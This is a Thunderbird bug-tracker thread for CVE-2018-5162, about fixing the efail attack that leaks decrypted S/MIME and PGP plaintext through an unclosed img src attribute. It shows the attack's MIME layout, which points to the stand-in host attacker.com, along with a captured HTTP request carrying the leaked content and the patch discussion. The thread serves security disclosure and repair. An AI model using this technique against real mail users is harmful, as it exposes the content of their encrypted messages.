1457721 - (CVE-2018-5162) fix efail PoC 3: Leaking plaintext through src attribute

Status: RESOLVED FIXED

(Thunderbird :: Security, defect)

Description

[Magnus Melin [:mkmelin]]

Attachment: bug1419417_efail_src_break.patch

+++ This bug was initially created as a clone of Bug #1419417 +++

As described in bug 1419417 comment 1:

-------------------------------------------------------------
*Proof of concept 3: Leaking plaintext through src attribute*
-------------------------------------------------------------

Prerequisites:
- victim reads messages in HTML
- victim allows remote content (further attack variants possible, see below)

Attack:
Another variant of this attack is to use the HTML src attribute, for example, for invisible iframes or image tags to leak the plaintext:

multipart/mixed
   |--- Content-Type: text/html
   |    <img src='https://attacker.com/
   |--- Content-Type: multipart/encrypted
   |--- Content-Type: application/pkcs7-mime
   +--- Content-Type: text/html
        '>

An email sample can be found in attachment 8930486 [details].

Comment 1

[Magnus Melin [:mkmelin]]

Should probably change bug number in the patch. 

The attack only works with unclosed single quotes. So to make sure the attribute is ended, output internally a single quote (and a double one, just to make sure).

Comment 2

[Jorg K (CEST = GMT+2)]

Attachment: Encrypt test - Copy.eml

I created myself this test message where I took an encrypted messages that I can decrypt and wrapped it à la attachment 8930486 [details].

When the message is displayed in the preview, I get this:
<div class="moz-text-html" lang="x-western"><img src="http://localhost:8080/
</div><BR><FIELDSET CLASS=&quot;mimeAttachmentHeader&quot;></FIELDSET><div class=&quot;moz-text-plain&quot; wrap=true graphical-quote=true style=&quot;font-family: -moz-fixed; font-size: 14px;&quot; lang=&quot;x-western&quot;><pre wrap class=&quot;moz-quote-pre&quot;>
Content-Type: application/pkcs7-mime; name=&quot;smime.p7m&quot;; smime-type=enveloped-data
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQEHA6CAMIACAQAxggNvMIIBogIBADCBiTB1MQswCQYDVQQGEwJJTDEWMBQG
[snip]
xfgpAAAAAAAAAAAAAA==
</pre></div><BR><FIELDSET CLASS=&quot;mimeAttachmentHeader&quot;></FIELDSET><div class=&quot;moz-text-html&quot;  lang=&quot;x-western&quot;>" shrinktofit="true">
</div>

So the encrypted message makes it into the image src attribute and would be "phoned home". I haven't see that the decrypted text actually appears anywhere.

I'll try with the patch now to see what happens. Most likely, the src attribute will be terminated before the <BR><FIELDSET ...>.

Comment 3

[Jorg K (CEST = GMT+2)]

Comment on attachment 8971817 [details] [diff] [review]
bug1419417_efail_src_break.patch

With the patch the image I get is this:
<img src="http://localhost:8080/
</div><!--" "--="" shrinktofit="true">
Note that the DOM inspector converts single to double quotes.

I checked a few other messages and saw no bad side effects.

Sadly I cannot confirm the original attack vector, but this patch should fix the issue.

Comment 4

[Jorg K (CEST = GMT+2)]

https://hg.mozilla.org/comm-central/rev/978fe6295ed383f3e56e6a4db72b6310c6508f8b
ensure urls don't leak over boundaries. r=jorgk
That's a little obscure not to draw attention ;-)

Comment 5

[Jorg K (CEST = GMT+2)]

Beta (TB 60 beta 6):
https://hg.mozilla.org/releases/comm-beta/rev/a6ee70f976e2ba4e65dd56e9df513faae73011fb

Comment 6

[Jens Müller]

> Sadly I cannot confirm the original attack vector

Just re-tested (on 52.6.0) the original exploit (attachment 8930486 [details]). If I click to allow remote content I get the following HTTP request containing the full plaintext of S/MIME and PGP/MIME encrypted messages. So decryption seems to be done before loading remote images:

<code>
GET /%3C/div%3E%3CBR%3E%3CFIELDSET%20CLASS=%22mimeAttachmentHeader%22%3E%3C/FIELDSET%3E%3CBR/%3E%3Cdiv%20class=%22moz-text-plain%22%20wrap=true%20graphical-quote=true%20style=%22font-family:%20-moz-fixed;%20font-size:%2012px;%22%20lang=%22x-unicode%22%3E%3Cpre%20wrap%3E**********************************THIS%20IS%20A%20S/MIME%20ENCRYPTED%20MESSAGE**********************************%3C/pre%3E%3C/div%3E%3CBR%3E%3CFIELDSET%20CLASS=%22mimeAttachmentHeader%22%3E%3C/FIELDSET%3E%3CBR/%3E%3Cdiv%20class=%22moz-text-plain%22%20wrap=true%20graphical-quote=true%20style=%22font-family:%20-moz-fixed;%20font-size:%2012px;%22%20lang=%22x-unicode%22%3E%3Cpre%20wrap%3E************************************THIS%20IS%20A%20PGP/MIME%20ENCRYPTED%20MESSAGE************************************%3C/pre%3E%3C/div%3E%3CBR%3E%3CFIELDSET%20CLASS=%22mimeAttachmentHeader%22%3E%3C/FIELDSET%3E%3CBR/%3E%3Cdiv%20class=%22moz-text-html%22%20%20lang=%22x-western%22%3E HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Thunderbird/52.6.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
</code>

> but this patch should fix the issue.

Yes, this should work (and can realistically be rolled out before public disclosure on 2018-05-15!). However, we need to bear in mind it's only a monkeypatch and there may be bypasses. E.g. if the HTML rendering engine evolves and one day decides to handle backticks as quotes we're screwed again. Same if an attacker finds a way to post HTML forms, use some nasty CSS bleeding tricks, etc. HTML just has so many options.

So, in the long term we should think of deeper fixes such as:
- Strict separation (separate DOM?) between different MIME message parts
- Do not decrypt S/MIME or PGP encrypted messages unless the encrypted part is the top-level part in the MIME tree (and has no other message parts as brothers)

Comment 7

[Patrick Brunschwig]

(In reply to Jens Müller from comment #6)
> So, in the long term we should think of deeper fixes such as:
[...]
> - Do not decrypt S/MIME or PGP encrypted messages unless the encrypted part
> is the top-level part in the MIME tree (and has no other message parts as
> brothers)

This is a way too simple idea. It will fail for example for message forwarded as attachment. 
There are several valid scenarios where decryption of non-toplevel MIME parts is desired.

Comment 8

[Jens Müller]

From a security point of view, I'd generally dislike the idea of having partly encrypted (and partly signed) messages. It gives a false sense of security. Either its sig+enc or it's not :)

But I see that reality things are different and from a practical point of view we can probably not apply such more radical countermeasures :/

Comment 9

[Jorg K (CEST = GMT+2)]

TB 52.8 ESR:
https://hg.mozilla.org/releases/comm-esr52/rev/eec7161f761fbd8b66527d857b0657743128406f